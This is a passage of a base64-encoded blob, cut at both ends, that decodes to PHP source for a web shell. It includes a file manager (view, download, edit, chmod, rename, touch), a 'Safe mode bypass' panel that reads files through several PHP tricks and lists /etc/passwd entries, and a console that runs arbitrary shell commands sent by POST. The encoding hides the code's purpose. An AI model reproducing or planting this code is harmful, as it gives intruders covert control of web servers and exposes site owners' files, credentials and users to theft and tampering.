G93bmxvYWQnKSB7DQogICAgICAgIGlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7DQogICAgICAgICAgICAgICAgJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KICAgICAgICAgICAgaWYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCg0KICAgICAgICB9DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgew0KICAgICAgICBpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCiAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICJlZGl0IjsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KICAgICAgICBwcmludEZvb3RlcigpOw0KICAgICAgICByZXR1cm47DQogICAgfQ0KICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCiAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7DQogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQogICAgZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KICAgICAgICAkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQogICAgaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCiAgICBlbHNlDQogICAgICAgICRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KICAgIGZvcmVhY2goJG0gYXMgJHYpDQogICAgICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQogICAgZWNobyAnPGJyPjxicj4nOw0KICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCiAgICAgICAgY2FzZSAndmlldyc6DQogICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCiAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdoaWdobGlnaHQnOg0KICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7DQogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOw0KICAgICAgICAgICAgICAgICRjb2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY2htb2QnOg0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7DQogICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCiAgICAgICAgICAgICAgICBpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnZWRpdCc6DQogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ3AxJ10sJF9QT1NUWydwMyddKTsNCiAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOw0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCiAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdoZXhkdW1wJzoNCiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOw0KICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7DQogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdyZW5hbWUnOg0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KICAgICAgICAgICAgICAgIGlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3RvdWNoJzoNCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCiAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7DQogICAgICAgICAgICAgICAgICAgIGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ21rZmlsZSc6DQogICAgICAgICAgICANCiAgICAgICAgICAgIGJyZWFrOw0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KICAgICR0ZW1wPScnOw0KICAgIG9iX3N0YXJ0KCk7DQogICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KICAgICAgICBjYXNlIDE6DQogICAgICAgICAgICAkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQogICAgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOw0KICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAyOg0KICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgMzoNCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOw0KICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSA0Og0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgNToNCiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgew0KICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICBpZiAoJHVpZCkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgNjoNCiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJyZWFrOw0KICAgICAgICAgICAgJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7DQogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBGQUxTRSkNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgIH0NCiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KICAgIGVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCiAgICBpZigkdGVtcCkNCiAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwvcHJlPic7DQogICAgZWNobyAnPC9kaXY+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgew0KICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7DQogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7DQogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgICAgew0KICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQogICAgICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQogICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQoNCmVjaG8gJzxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQogICAgaWYobiA9PSAzOCkgew0KICAgICAgICBjdXItLTsNCiAgICAgICAgaWYoY3VyPj0wKQ0KICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICBjdXIrKzsNCiAgICB9IGVsc2UgaWYobiA9PSA0MCkgew0KICAgICAgICBjdXIrKzsNCiAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpDQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGN1ci0tOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCiAgICBjbWRzLnBvcCgpOw0KICAgIGNtZHMucHVzaChjbWQpOw0KICAgIGNtZHMucHVzaCgiIik7DQogICAgY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0Pic7DQogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9jdW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7DQogICAgZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7DQogICAgICAgIGlmKCR2ID09ICcnKSB7DQogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7DQogICAgfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQogICAgZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7aWYoZG9jdW1lbnQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO30iIHZhbHVlPSI+PiI+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YW